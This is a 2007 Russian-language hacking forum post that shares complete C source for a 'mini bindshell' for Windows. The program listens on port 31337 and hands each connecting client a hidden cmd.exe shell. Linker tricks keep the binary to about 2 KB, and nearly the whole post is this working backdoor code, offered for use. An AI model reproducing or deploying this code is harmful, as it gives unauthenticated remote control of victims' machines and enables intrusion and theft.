Показать сообщение отдельно

  #4  
Старый 17.09.2007, 13:19
Ky3bMu4
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме:
1777536

Репутация: 932


Отправить сообщение для Ky3bMu4 с помощью ICQ
По умолчанию

Mini-bindshell-2 (с реконнектом)
Теже 2кб на выходе.
Код:
#include "winsock2.h"
#pragma comment(linker,"/SECTION:.text,EWR") 
#pragma comment(linker,"/ENTRY:WinMain")
#pragma comment( linker, "/defaultlib:ws2_32.lib" )
DWORD WINAPI ClientURA(HANDLE HCmd);
DWORD WINAPI ClientURA(
  HANDLE HCmd
)
{
     STARTUPINFO st; 
     PROCESS_INFORMATION pt;

     
          st.cb = sizeof(STARTUPINFO);
          st.lpReserved = NULL;
          st.lpTitle = NULL;
          st.lpDesktop = NULL;
          st.lpReserved2 = NULL;
          st.cbReserved2 = 0;
          st.wShowWindow = SW_HIDE;
          st.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
          st.hStdInput = HCmd;
          st.hStdOutput = HCmd;
          st.hStdError = HCmd;
          CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&st,&pt);
          CloseHandle(HCmd);
          CloseHandle(pt.hProcess);
          CloseHandle(pt.hThread);
     return 0;
}
int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){
     int sock;
     SOCKET AcceptS;
     struct sockaddr_in s;
     WSADATA wsa;
     WSAStartup( MAKEWORD( 2, 2 ), &wsa );
     sock = WSASocketA(PF_INET,SOCK_STREAM,0,NULL,0,0);
     s.sin_family = AF_INET;
     s.sin_addr.s_addr = htonl( INADDR_ANY);
     s.sin_port = htons( 31337 );
     bind(sock,(SOCKADDR*)&s,sizeof(s));
	int i;
	char type[2], buf[126];
     listen( sock, 0 );
     while (1){
		  AcceptS = accept(sock,NULL,NULL);
 CreateThread( NULL, 0,
               (LPTHREAD_START_ROUTINE)ClientURA,
               (LPVOID)AcceptS,
               NULL, NULL );
		 
		  
	 }
     return 0;
		}
 
Ответить с цитированием